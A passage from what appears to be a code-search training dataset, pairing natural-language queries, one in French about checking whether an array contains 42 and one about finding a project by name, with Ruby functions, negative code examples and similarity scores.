"0.56806386",
"0.5680315",
"0.5680215",
"0.5679114",
"0.5676934",
"0.56749094",
"0.5672483",
"0.5668028"
] |
0.6132799
|
13
|
Identifie si le array inclu un 42
|
def array_42(z)
if z.include? 42
return true
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def array_42(a)\n\ta.any?{|x| x == 42}\nend",
"def include?(array, value)\r\n array.count(value) > 0\r\nend",
"def include_array?(array)\n array.any? { |member| array?(member) }\n end",
"def include?(ary, number)\n return false if ary.size == 0\n result = ary.detect do |item|\n item == number\n end\n !!(result == number)\nend",
"def array_42(array)\n a = false\n\tarray.each {|i| if i == 42 then a = true end}\n return a \nend",
"def include?(arr, num)\n arr.each{ |element| return true if element == num}\n return false\nend",
"def valid_contents?(arr)\n arr.each { |e| return false unless (1..@size_pow).include?(e) }\n true\n end",
"def number_included(number)\n arr = [1, 3, 5, 7, 9, 11]\n puts \"number\": number\n puts arr.include? number\nend",
"def include?(array, integer)\r\n array.each do |element|\r\n return true if element == integer\r\n end\r\n\r\nfalse\r\nend",
"def array_42(arr)\n arr.map{|x| x== 42}.count{|x| x == true} == 1 ? true : false\nend",
"def is_integer_array? array\n\t\treturn array.all? {|a| a.is_a? Integer}\n\tend",
"def include?(array, search_value)\n array.count(search_value) > 0\nend",
"def include?(arr, number)\n arr.any? { |num| num == number }\nend",
"def include?(array, search_value)\n if array.count(search_value) == 1\n return true\n else\n return false\n end\nend",
"def not_included(arr) \n hash = Hash.new(0)\n arr.each { |el| hash[el] = 0 }\n i = 1\n # hash[5] == 0\n while true\n return i unless hash.has_key?(i)\n i += 1\n end\nend",
"def includ?(array, value)\n\tarray.each do |element|\n\t\tif element == value\n\t\t\treturn true\n\t\tend\n\tend\n\tfalse\nend",
"def include?(array, value)\n array.each do |integer|\n return true if integer == value\n end\n return false\nend",
"def exists?(number, array)\n array.include?(number)\nend",
"def indexes_exist?(vegie_arr, choice_arr)\n vegie_index = []\n vegie_arr.each_index {|index| vegie_index << index}\n if choice_arr.length > vegie_arr.length\n return false\n else\n choice_arr.each do |value|\n return false if !vegie_index.include?(value - 1)\n end\n end\n true\n end",
"def include?(array, search_value)\n # array.each do |element|\n # return true if element == search_value\n # end\n # false\n array.count(search_value) > 0\nend",
"def test3(array)\n\tputs \"Test3: Should return an array of arrays -> \"\n\tabg_maker(array).any? {|x| x.class != Array} ? false : true\nend",
"def include?(arr, search_val)\n # arr.each { |e| return true if e == search_val }\n # false\n arr.count(search_val) > 0\n # or:\n # arr.any? { |i| i == val }\nend",
"def array_includes?(array, given_thing)\n answer = false\n\n array.each do |thing|\n if thing == given_thing\n answer = true\n end\n end\n\n return answer\nend",
"def does_list_include?(array, obj)\n array.count(obj) > 0\nend",
"def got_milk?(array)\nend",
"def test3(array)\n\tputs \"Test3: Should return an array of arrays -> \"\n\tgroupMaker(array).any? {|x| x.class != Array} ? false : true\nend",
"def arr_includes_all?(arr, *inc)\n inc.map { |i| arr.include? i }.reduce(&:&)\n end",
"def is_used? thing\n $things.values.flatten.include? thing\nend",
"def any_narray?\n @attributes.any?(&:narray?)\n end",
"def array_include(a1, a2) \n return (a1 - a2).empty?\n end",
"def int_array_check(arr)\n arr.each do |element|\n Integer(element) != nil rescue return false\n end\n return true\n end",
"def belongs_in_array(arr, num)\n arr.each do |thing|\n if thing == num\n puts true\n return\n end\n end\n puts false\n # or puts arr.include?(num)\nend",
"def include?(arr, value)\n includes = false\n arr.each { |n| includes = true if n == value }\n includes\nend",
"def number_in_array?(number, array)\n check = false\n array.each do |num| \n if num==number \n check = true\n end \n end\n return check\n end",
"def include?(arr, search)\n result = false\n arr.each { |num| result = true if num == search }\n result\nend",
"def array_42(argument)\n\n\tresultat = false\n\ti=0\n\twhile i<=argument.length\n\t\tif argument[i]==42 then\n\t\t\tresultat= true\n\t\telse \n\t\t\t\tend\n\t\ti+=1\n\tend\n\t\n#\tputs resultat\n\t\treturn resultat\n\t\t\nend",
"def include?(array, target)\n matches = array.select { |element| element == target }\n !matches.empty?\nend",
"def is_bust\n unless total.is_a?(Array)\n return 1 if total > 21\n end\n return nil\n end",
"def include?(arr, value)\n !(arr.select { |element| element == value }).empty?\nend",
"def include?(arr, search_value)\n arr.each do |num|\n if num == search_value\n return true\n end\n end\n false\nend",
"def check_array(array,target)\n if array.include?(target)\n return true\n else\n return false\n end\nend",
"def has?(arr, e)\n end",
"def include?(element)\n @ary.include? element\n end",
"def is_item_in_array(array,item)\n return array.include?(item)\nend",
"def include_gadget?(gadget)\n if self.size < gadget.size\n false\n else\n res = true\n each_with_index do |idx, e|\n res &= (gadget[idx] == e)\n end\n end\n end",
"def multiple_pieces?\n 1 < all_coords.count { |coord| self[coord] != :empty }\n end",
"def array?\n false\n end",
"def include?(o)\n @mut.synchronize{@array.include?(o)}\n end",
"def includes?(array, target)\n if array.empty?\n false\n elsif array.first == target\n true\n else\n includes?(array.drop(1),target)\n end\nend",
"def missing_num(arr)\n complete = [1,2,3,4,5,6,7,8,9,10]\n complete.filter do |num|\n !array.include?(num)\n end\nend",
"def long_planeteer_calls(array)\n array.any?{|call| call.length > 4}\n #any?=>returns TRUE if ar least 1 (in this case,4) element is true\nend",
"def include?(x)\n @indices[x] # huh\n end",
"def ac_added_final_arr(final_arr, filename, row)\n\tfinal_arr.each do |final_tuple|\n\t\tif final_tuple.filename == filename && Integer(row) == Integer(final_tuple.row)\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend",
"def includes?(array, target)\n #empty array does not contain object\n return false if array == []\n\n #start with array[3]\n value = array.shift #pluck off\n if value == target\n true #the recursive call is not made\n else\n includes?(array, target)\n end\n\nend",
"def test_xyz_not_in_arr\n refute_includes(list, 'ttt')\n end",
"def include?(array, value)\n !!array.find_index(value)\nend",
"def include?(array, value)\n !!array.find_index(value)\nend",
"def require_array_match(arr)\n\t\tfilter_two_arrays(self, arr, true)\n\tend",
"def include?(array, value)\n array.any?(value)\nend",
"def array?\n false\n end",
"def existsinarray arr, number\n len = arr.length\n idx = 0\n while idx <= len - 1\n if number == arr[idx]\n return true\n end\n idx = idx + 1\n \n end\n return false \nend",
"def element(num)\n a = ['10', '2', '30', '5']\n if (a.include?(num) == true)\n puts \"#{num} is Present in the array\"\n else\n puts \"#{num} is not present in the array\"\n end\nend",
"def my_include?(array, target)\n return false if array.empty?\n return true if array.first == target\n my_include?(array.drop(1), target)\nend",
"def valid?(array)\n array.include?(0) || array.sum != 180\nend",
"def includes?(array, target)\n array.each do |k, v|\n if k == key\n return true\n elsif v.class.to_s == \"Array\"\n v.each do |inner_array|\n return has_key(inner_array, key)\n end\n else\n return false\n end\n end\n\nend",
"def includes?(array, target)\n return false if array.empty?\n return true if array[0] == target\n includes?(array.drop(1),target)\nend",
"def collisions?\n array.any? { |pairs| pairs && pairs.count > 1 }\n end",
"def include?(array, value)\n array.each do |elem|\n return true if elem == value\n end\n false\nend",
"def include?(arr, search_value)\n new_arr = arr.select { |element| element == search_value}\n !new_arr.empty?\nend",
"def include?(arr, include_item)\n arr.each { |item| return true if item == include_item }\n false\nend",
"def array_of_fixnum?(array)\n\tarray.all?{|x| x.is_a?Fixnum}\nend",
"def include?(ary, value)\r\n ary.select{ |obj| obj == value } != []\r\nend",
"def innit?(array, item_to_look_for)\n\tresult = false\n\tarray.each do |list_item|\n\t\tif list_item == item_to_look_for\n\t\t\tresult = true\t\n\t\tend\n\tend\n\treturn result\nend",
"def find_socks_in_array(array)\n array.include? \"socks\"\n puts \"Found #{num_socks} socks!\"\nend",
"def includes?(array, target)\n return true if array[0] == target\n return false if array[0] != target && array.length <= 1\n\n includes?(array.drop(1), target)\nend",
"def arr_includes(arr1, arr2)\n temp_arr2 = arr2.dup\n return false if arr2.length == 0\n arr1.each do |num|\n if temp_arr2.include? num\n index = temp_arr2.index(num)\n temp_arr2.delete_at(index)\n else\n return false\n end\n end\n return true\nend",
"def include_any?(arr, arr2)\n #good for large sets w/ few matches\n # Set.new(self).intersection(arr).empty?\n arr2.any? {|e| arr.include?(e) }\n end",
"def true_for_ravenclaw(array, item)\n for i in array\n status= i.include?(item)\n end\n return status\nend",
"def identify_2d_array(arry)\n arry.all? { |x| x.is_a?(Array) } &&\n arry.all? { |x| x.length == 2 } &&\n arry.all? { |x| x[0].is_a?(Integer) }\n end",
"def full?\n# If @top is equal to the size of the array - 1, return true, otherwise false.\n @top == (@size - 1)\n end",
"def include?(arr, search)\n arr.any? { |i| i == search }\nend",
"def is_numeric_2d_array?\n self.all? do |data|\n data.is_a?(Array) &&\n data.size == 2 &&\n data.is_numeric_array?\n end\n end",
"def include_all?(*items)\n items = items.first if items.length == 1 && items.first.kind_of?(Array)\n (items - self).empty?\n end",
"def include? array, item\n array.include?(item)\nend",
"def include?(array, value)\n array.each { |element| return true if value == element }\n false\nend",
"def using_include(array, element)\n\tarray.include?(element)\nend",
"def in_ranged_array?(ranged_ary, num)\n !!ranged_ary.find {|n| n === num }\n end",
"def array_of_fixnums?(array)\n array.all? { |x| x.is_a? Integer } \nend",
"def array_of_fixnums?(array)\n for element in array\n unless element.is_a? Fixnum\n return false\n end\n end\n return true\nend",
"def missing(array)\n full_array_set = (array.first..array.last).to_a\n missing_numbers = []\n full_array_set.each do |number|\n if array.include?(number)\n next\n else\n missing_numbers << number\n end\n end\n missing_numbers\nend",
"def include?(array, search_value)\n !array.select{|element| element == search_value}.empty?\nend",
"def magic?(arr)\n n = arr.size / 2\n (0...n).map { |i| (arr[i] + arr[i + 1 < n ? i + 1 : 0] + arr[n + i]) }.reduce { |s, memo| s == memo ? memo : false }\nend",
"def include?(array, query)\n array.each do |el|\n return true if el == query\n end\n false\nend",
"def includes?(array, target)\n return false if array.empty?\n return true if array.first == target\n includes?(array.drop(1), target)\nend",
"def ispan?(x)\n #creates an array of 1..9\n a = Array.new(9) {|i| i + 1}\n for i in (0 .. 8)\n #removes when it finds the number\n a = a - [x[i].to_i]\n end\n #if all were removed, it is true\n return true if (a == [])\n return false\nend",
"def include?(num)\n self[num].include?(num)\n end",
"def ext_include?(key_world)\n map { |e| e.include?(key_world) }.any?\n end",
"def in_array(array1, array2)\r\n \r\nend",
"def include_gadget?(gadget)\n if self.size < gadget.size\n false\n else\n inject(true) { |b, element| b &= gadget.include? element }\n end\n end",
"def includes?(array, target)\n return true if array.first == target\n return false if array.empty?\n includes?(array.drop(1), target)\nend"
] |
[
"0.68770736",
"0.6762482",
"0.66344595",
"0.6589905",
"0.6419247",
"0.63957226",
"0.6354194",
"0.63487715",
"0.6348612",
"0.62703085",
"0.62668097",
"0.62611157",
"0.62393963",
"0.62144446",
"0.6200934",
"0.618982",
"0.6182823",
"0.6144957",
"0.6135623",
"0.6093848",
"0.6076467",
"0.6072164",
"0.606671",
"0.6057863",
"0.604868",
"0.6037775",
"0.6034701",
"0.60257745",
"0.6016928",
"0.6016109",
"0.6013818",
"0.5994645",
"0.5982459",
"0.5974009",
"0.593982",
"0.5937683",
"0.5927153",
"0.59217644",
"0.5895728",
"0.5858284",
"0.58486843",
"0.58421636",
"0.5838874",
"0.5833924",
"0.583162",
"0.58311844",
"0.58243644",
"0.5822564",
"0.5803543",
"0.57980907",
"0.5793633",
"0.5792453",
"0.579159",
"0.5785945",
"0.5785435",
"0.5784375",
"0.5784375",
"0.578391",
"0.577817",
"0.57771134",
"0.5775658",
"0.57704",
"0.57377887",
"0.57349604",
"0.5730206",
"0.57277805",
"0.5723003",
"0.5720581",
"0.5720124",
"0.57190347",
"0.57155776",
"0.5711896",
"0.57054293",
"0.56986165",
"0.5696597",
"0.5687814",
"0.5687438",
"0.5678931",
"0.56784904",
"0.56668127",
"0.56611776",
"0.5644767",
"0.56399184",
"0.5639223",
"0.5636466",
"0.56363505",
"0.56358594",
"0.5632505",
"0.563229",
"0.56319094",
"0.56296855",
"0.56284255",
"0.56230056",
"0.5614291",
"0.56142217",
"0.56117916",
"0.5605034",
"0.560461",
"0.55979997",
"0.559739"
] |
0.7273611
|
0
|
Returns an existing project by its name. :project_name The name of the project
|
def project_by_name(project_name)
projects.find { |project| project['name'].casecmp(project_name) == 0 }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def project(name)\n @projects.find { |p| p.name == name }\n end",
"def find_project(name)\n get(\"/projects/#{name}\")\n end",
"def find_project(name)\n get(\"/projects/#{name}\")\n end",
"def find_project(name)\n login unless authenticated?\n response = RestClient.get(resource_url(\"projects/#{URI.escape(name)}\"), :cookies => @cookies)\n project = JSON.parse response.body\n return project['name'] == name ? project : nil\n rescue RestClient::ResourceNotFound\n return nil\n end",
"def get(project_name)\n response = get_request(\"/projects/#{project_name}/\")\n TheShiningSource::Project.new(response)\n end",
"def find_project_by_project_name(project_name)\n row = @db.get_first_row('select * from projects where project_name = ?', project_name)\n return {\n id: row[0],\n project_name: row[1],\n target_dollar_amount: row[2]\n }\n end",
"def get_project (project_name)\n\t\tproject = Project.find_by_name(project_name)\n\t\tif project\n\t\t\tif (project.accessibility == 1 or (user_signed_in? and project.user == current_user))\n\t\t\t\treturn project, nil\n\t\t\telse\n\t\t\t\treturn nil, I18n.t('controllers.application.get_project.private', :project_name => project_name)\n\t\t\tend\n\t\telse\n\t\t\treturn nil, I18n.t('controllers.application.get_project.not_exist', :project_name => project_name)\n\t\tend\n\tend",
"def show\n if params[:name]\n @project = Project.where(name: \"#{params[:name]}\").first\n else\n set_project\n end\n end",
"def project(workspace_name, project_name)\n if project_name.is_a?(Symbol) && project_name.to_s.start_with?('my_tasks')\n my_tasks(workspace_name)\n else\n # @type [Asana::Collection<Asana::Resources::Project>]\n ps = projects_by_workspace_name(workspace_name)\n ps.find do |project|\n project.name == project_name\n end\n end\n end",
"def project_model_text_from_name(name)\n if text = available_projects[name]\n return text\n else\n raise OroGen::ProjectNotFound, \"#{client} has no project called #{name}, available projects: #{available_projects.keys.sort.join(\", \")}\"\n end\n end",
"def find_project\n identifier = get_project_identifier\n project = Project.find_by_identifier(identifier.downcase)\n raise ActiveRecord::RecordNotFound, \"No project found with identifier '#{identifier}'\" if project.nil?\n return project\n end",
"def project_id project_name\n if @version < \"1.0\"\n project = projects.find { |project| project[:name] == project_name }\n else\n project = project_by_name(project_name).first\n end\n\n project.nil? ? nil : project[:id].to_i\n end",
"def create_project(name)\n response = @db.exec_params(%Q[\n INSERT INTO projects(name)\n VALUES ($1)\n RETURNING id;\n ], [name])\n\n response.first[\"id\"]\n end",
"def create_project(name)\n post('projects', {:name => name})[\"project\"]\n end",
"def getProject(project)\r\n\t\t\t\tproject_json = JSON.parse project\r\n\t\t\t\tproject_array = project_json[\"projects\"]\r\n\t\t\t\treturn jsonToProject(project_array[0])\r\n\t\t\tend",
"def get_project(id)\n project = new(get(\"/rest/api/2/project/#{id}\"))\n @@project_cache[project.name] = project\n @@project_cache[project.id] = project\n @@project_cache[project.key] = project\n return project\n end",
"def project(options = {})\n raise Unfuddled::Error.new(\"No options given for project, cannot query\") if options == {}\n \n raise Unfuddled::Error.new(\"Can only supply one of :id and :name\") if options.keys.include?([:id , :name])\n \n url = \"/api/v1/projects/#{options[:id]}.json\" if options.keys.include?(:id)\n url = \"/api/v1/projects/by_short_name/#{options[:name]}.json\" if options.keys.include?(:name)\n\n Unfuddled::Project.from_response( send(:get , url)[:body] , self)\n end",
"def find_project_from_deployment_name(name)\n if project_name = available_deployments[name]\n return project_name\n else \n raise OroGen::DeploymentModelNotFound, \"#{client} has no deployment called #{name}\"\n end\n end",
"def find_project(input)\n if (project = project_in_database(input))\n input[:local_project] = project\n else\n input[:remote_project] = project_from_github(input)\n end\n Success(input)\n rescue StandardError => e\n Failure(Response::ApiResult.new(status: :not_found, message: e.to_s))\n end",
"def project(id)\n self.projects(\"all\").detect { |p| p.id == id }\n end",
"def find_project(input)\n if (project = project_in_database(input))\n input[:local_project] = project\n else\n input[:remote_project] = project_from_github(input)\n end\n Success(input)\n rescue StandardError => error\n Failure(Value::Result.new(status: :not_found,\n message: error.to_s))\n end",
"def project(project_id)\n resource \"projects/#{project_id}\"\n end",
"def has_project?(name)\n available_projects.has_key?(name)\n end",
"def find_project\n identifier = params[:project_id]\n scope = Project.active.has_module(:repository)\n project = scope.find_by_identifier(identifier.downcase)\n raise ActiveRecord::RecordNotFound unless project\n return project\n end",
"def project(name)\n Ow2mirror::Project.new(self, name)\n end",
"def find_project\n identifier = get_identifier\n project = Project.find_by_identifier(identifier.downcase)\n fail(\n ActiveRecord::RecordNotFound,\n \"No project found with identifier '#{identifier}'\"\n ) if project.nil?\n project\n end",
"def get_project\n @project ||= Project.find(params[:project_id])\n end",
"def find_repo_by_project_name(project_name)\n Repo.all.find_by(project_name: project_name)\n end",
"def find_by_id(id)\n hash = Backlogjp.base._command \"getProject\", id\n\n Project.new(hash) unless hash.empty?\n end",
"def getProjectId(project_name)\n\tprojects = $client.Project.all\n\tid = \"\"\n\tprojects.each do |project|\n\t\tif project.name == project_name\n\t\t\tid = project.id\n\t\t\twrite_to_file(\"Project id #{id} was successfully found for #{project_name}\", \"info\")\n\t\tend \n\tend\n\treturn id\nend",
"def get_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'GetProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def project(project_id, query_params = nil)\n get(\"/projects/#{project_id}\", query_params)\n end",
"def find_project(project_id)\n # check if we already fetched the project\n @projects.each do |proj|\n return proj if proj.id == project_id\n end\n # project not found, fetch it\n @projects << PivotalTracker::Project.find(project_id)\n @projects.last\n end",
"def project_exists?(name)\n projects.include?(name)\n end",
"def find_project\n\t\t@project = Project.find(params[:project_id] || params[:id])\n\tend",
"def project(project_id = nil)\n account = Config.details \n c = FreshBooks::Client.new(account[\"account\"], account[\"token\"])\n if project_id.nil?\n c.project.list[\"projects\"]\n else\n c.project.get :project_id => project_id\n end\n end",
"def find(project_id)\n raw_response = get_request(\"projects/#{project_id}\")\n parse_response(raw_response, :project)\n end",
"def find(project_id)\n raw_response = get_request(\"projects/#{project_id}\")\n parse_response(raw_response, :project)\n end",
"def project_path(name)\n project_map[name.to_s]\n end",
"def by_name(project_name,options={})\n all_projects = not(options[:inactive]) ? self.active : self.all\n projects = all_projects.select{ |p| p.name.downcase.include?(project_name.downcase).equal?(!options[:exclude]) }\n\n make_projects(projects)\n end",
"def project(project_id, params = {})\n make_get_request(\"/projects/#{project_id}\", params)\n end",
"def find_project(workspace, name)\r\n project = nil\r\n if ( name != \"Parent\")\r\n project = workspace.projects.find { |p| p.name == name && p.state == \"Open\" }\r\n if project == nil\r\n print \"Project \", name, \" not found\\n\"\r\n end\r\n end\r\n project\r\nend",
"def project\n raw = client.get project_url\n client.factory.create(GoodData::Project, raw)\n end",
"def get_project_by_id(id)\n require_relative 'telerivet/project'\n Project.new(self, self.do_request(\"GET\", get_base_api_path() + \"/projects/#{id}\"))\n end",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def project(key)\n @tracker.getProjects.detect { |pro| pro.key == key }\n end",
"def allow_project\n name = params[:nameproject]\n @project = Project.find_project(@user.id, @space.id, name).take || not_found\n\n # parser token\n @parse_token = Project.token\n end",
"def get_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:query]['Action'] = 'GetProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project_name\n\t\t\targs[:query]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def get_project_by_id_or_name(id_or_name)\n rtn = nil\n if fpermit?('site_admin', nil) || current_user().has_role?('project_reviewer') then\n in_used_projects = \"\"\n else\n in_used_projects = \"(#{Project.in_used_projects()} or #{Project.pending_projects()})\" #include pending projects for pending status.\n end\n\n case id_or_name\n when /^\\d+$/\n rtn = Project.find_by_id(id_or_name, :conditions => in_used_projects)\n when Project::NAME_REGEX\n in_used_projects = \" and #{in_used_projects}\" if(in_used_projects != \"\")\n if rtn = Project.in_used.find(:first, :select => 'id', :conditions => [\"name = ? #{in_used_projects}\", id_or_name])\n yield rtn.id\n return\n end\n end\n\n if not rtn or (rtn.status == Project::STATUS[:PENDING] and in_used_projects != \"\" and (rtn.creator != current_user().id or controller_name != 'projects' or (action_name != 'edit' and action_name != 'update'))) #project not ready. pending and not allow actions.\n flash[:warning] = \"Project '#{id_or_name}' does not exist, or it has be deactivated.\"\n redirect_to root_path\n elsif in_used_projects == \"\" and rtn.status != Project::STATUS[:READY] #admin & reviewer messages\n flash.now[:warning] = \"Project is not READY. Status is #{Project.status_to_s(rtn.status)}.\"\n end\n rtn\n end",
"def find_project\n @project = Project.find(params[:id])\n end",
"def getProjectByID(id)\n ret = nil \n @Projects.each do |project| \n ret = project if project.ID == id \n end \n\n return ret \n end",
"def find_project\n @project = @account.projects.find(params[:project_id])\n end",
"def find_project\n @project = InitializeProject.call id: params[:id]\n end",
"def find_project\r\n @project = Project.find(params[:id])\r\n @html_title = @project.name\r\n rescue ActiveRecord::RecordNotFound\r\n render_404\r\n end",
"def project_for_key(key)\n\n # project_file_path = Rails.root.join('project', key, 'project.json')\n # project_hash = JSON.parse File.read(project_file_path)\n\n project = Project.find_by key: key\n project\n end",
"def project\n @client.project(:id => project_id)\n end",
"def project_name\n self.project ? self.project.name : NOT_SET\n end",
"def project(options = {})\n options = {project_id: options} if options.is_a?(String)\n project_id = options.fetch(:project_id, @project_id)\n options[:query] = {project_id: project_id}\n resp = get Project.path(project_id), options\n Bim360::Project.new(resp)\n # objects_from_response(resp, Bim360::Project)\n end",
"def get_project_oid(project_name)\n\n # compare project_name against all projects on the server, return oid when found\n @conn.bimsie1_service_interface.getAllProjects( false, true ).each do |project|\n if project[\"name\"] == project_name\n return project[\"oid\"]\n end\n end\n\n # if not found, raise error\n raise \"No project found with name '\" + project_name + \"'.\"\n end",
"def project\n @project ||= DataStore.find_project_by_id(project_id)\n end",
"def name\n project.name\n end",
"def name\n project.name\n end",
"def load_project\n # check if already loaded\n return @project if (@project)\n \n if (params[:project_id]) \n @project = Project.find(params[:project_id])\n elsif (params[:project_name])\n # try to use the name\n @project = Project.find(:first, :conditions => [\"name = ?\", params[:project_name]])\n elsif (request.domain =~ /^(www\\.)?boletin-campusfaes.es$/ )\n @project = Project.find(:first, :conditions => [\"name = ?\", \"Campus FAES\"])\n end\n \n session[:project_id] = @project.id if @project\n end",
"def get_project_with_http_info(name, version, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.get_project ...'\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling ProjectApi.get_project\"\n end\n # verify the required parameter 'version' is set\n if @api_client.config.client_side_validation && version.nil?\n fail ArgumentError, \"Missing the required parameter 'version' when calling ProjectApi.get_project\"\n end\n # resource path\n local_var_path = '/v1/project/lookup'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'name'] = name\n query_params[:'version'] = version\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Project' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#get_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def project(*args, &block) #:nodoc:\n options = args.pop if Hash === args.last\n return define(args.first, options, &block) if block\n rake_check_options options, :scope, :no_invoke if options\n no_invoke = options && options[:no_invoke]\n\n raise ArgumentError, 'Only one project name at a time' unless args.size == 1\n @projects ||= {}\n name = args.first.to_s\n # Make sure parent project is evaluated (e.g. if looking for foo:bar, find foo first)\n unless @projects[name]\n parts = name.split(':')\n project(parts.first, options || {}) if parts.size > 1\n end\n if options && options[:scope]\n # We assume parent project is evaluated.\n project = options[:scope].split(':').inject([[]]) { |scopes, scope| scopes << (scopes.last + [scope]) }.\n map { |scope| @projects[(scope + [name]).join(':')] }.\n select { |project| project }.last\n end\n project ||= @projects[name] # Not found in scope.\n raise \"No such project #{name}\" unless project\n project.invoke unless no_invoke || Buildr.application.current_scope.join(\":\").to_s == project.name.to_s\n project\n end",
"def get(name)\n path = \"/projects/#{project.name}/resources/#{name}\"\n resp = client.get(path)\n build_resource(resp)\n end",
"def find_project\n @project = current_user.find_project(params[:project_id] || params[:id], preview_token)\n end",
"def current_project(id)\n #gets either the session project or retrieves one from the database\n return session[:project] if !session[:project].nil? && session[:project][:id] == id\n project = Project.find(id)\n session[:project] = project\n return project\n end",
"def name\n 'Project'\n end",
"def project\n get_or_make_reference('Project', @data, 'project_id')\n end",
"def project\n get_or_make_reference('Project', @data, 'project_id')\n end",
"def project(*names)\n new(names.map { |name| name.is_a?(Symbol) ? self[name] : name })\n end",
"def get_project_name\n project_id = params[:project_id]\n name_from_repository = payload.fetch(\"repository\", {}).fetch(\"name\", nil)\n project_id || name_from_repository\n end",
"def find_project\n @project = Project.find_by_identifier(params[:id])\n rescue ActiveRecord::RecordNotFound\n end",
"def new\n @project =\n if params[:project]\n Project.where(name: params[:project][:name]).first || Project.new(project_params)\n else\n Project.new\n end\n\n respond_to do |format|\n format.html {\n redirect_to edit_embed_project_url(@project) if @project.persisted?\n }\n format.json { render json: @project }\n end\n end",
"def set_project\n @project = Project.where(url: params[:project_id]).first\n end",
"def project_id_or_name=(project_id_or_name)\n if project_id_or_name.is_i?\n self.project_id = project_id_or_name\n else\n self.project_id = Project.find_or_create_by(name: project_id_or_name).id\n end\n end",
"def project\n self.projects.first unless projects.empty?\n end",
"def project_find(label)\n @project = projects.find { |item| item.text.include? label }\n end",
"def change_project(name)\n update!(name: name)\n end",
"def fetch_project(input)\n input[:project] = { name: 'Fancy project', owner: { name: 'John Smith' } }\n Success(input)\n end",
"def set_project\n\n @project = Project.where(\"title LIKE ?\",params[:id]).limit(1).last\n end",
"def load_project\n @project = Project.find(params[:id])\n end",
"def project\n @project ||= Attask::API::Project.new(@credentials)\n end",
"def project\n strong_memoize(:project) do\n projects.first\n end\n end",
"def project\n request :project\n end",
"def projects_by_name(name, opts={})\n @projects_cache[name] ||= begin\n user_query = @allowed_users.collect{|user| \"user:#{user}\"}.join(' ')\n repos = Octokit.search_repos \"#{name} in:name language:ruby #{user_query}\"\n repos = repos.items.select do |repo|\n repo.name == name\n end\n\n repos.collect{|repo| Models::RepoCookbook.new(repo.id, repo.full_name, \"metadata.rb\")}\n end\n end",
"def select_project( options )\n index = nil\n \n if(options[:index] ) \n index = options[:index] if @projects.size > options[:index]\n elsif(options[:name])\n index = @project_list.index(options[:name])\n end\n\n puts \"IN AdamModel - select_project found index : #{index}\"\n \n if( index )\n @selected_project_index = index\n @selected_asset_index = 0\n load_assets_and_filter\n return true\n end\n\n return false\n end",
"def url_for_project_named(name)\n eval project_path\n end",
"def show\n @project = Project.find(params[:project_id])\n end",
"def get_project(name, version, opts = {})\n data, _status_code, _headers = get_project_with_http_info(name, version, opts)\n data\n end",
"def select_project\n @projects = Project.find(:all)\n end",
"def set_project\n begin\n @project = Project.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n not_found\n end\n end",
"def load_project\n local_params = params\n @project = Project.find local_params[:project_id]\n end",
"def show\n @project = Project.find(params[:id])\n end",
"def show\n @project = Project.find(params[:id])\n end"
] |
[
"0.88374454",
"0.8533017",
"0.8533017",
"0.84045345",
"0.83323795",
"0.80481815",
"0.79651904",
"0.77570105",
"0.7344556",
"0.7306633",
"0.7302666",
"0.7293204",
"0.72313297",
"0.71943",
"0.71731406",
"0.71730703",
"0.71719486",
"0.71429306",
"0.7138846",
"0.71175086",
"0.709543",
"0.7083997",
"0.70806277",
"0.7070201",
"0.70644736",
"0.7060002",
"0.7047993",
"0.7020185",
"0.70109075",
"0.6999134",
"0.6987174",
"0.6975889",
"0.6973793",
"0.6954596",
"0.69372326",
"0.6918538",
"0.68887824",
"0.68887824",
"0.6881803",
"0.6874572",
"0.68719685",
"0.68632394",
"0.6856547",
"0.6828933",
"0.68191546",
"0.68191546",
"0.68191546",
"0.68191546",
"0.68191546",
"0.6809948",
"0.6797587",
"0.67937595",
"0.6788508",
"0.6777205",
"0.6764432",
"0.6717073",
"0.67059296",
"0.6704723",
"0.6702792",
"0.66878897",
"0.6677543",
"0.6660045",
"0.66542697",
"0.66407084",
"0.6633915",
"0.6633915",
"0.66298735",
"0.661542",
"0.66125304",
"0.661049",
"0.65967566",
"0.6552799",
"0.65507495",
"0.65456253",
"0.65456253",
"0.6535907",
"0.6514472",
"0.6503679",
"0.64881337",
"0.64751506",
"0.6475023",
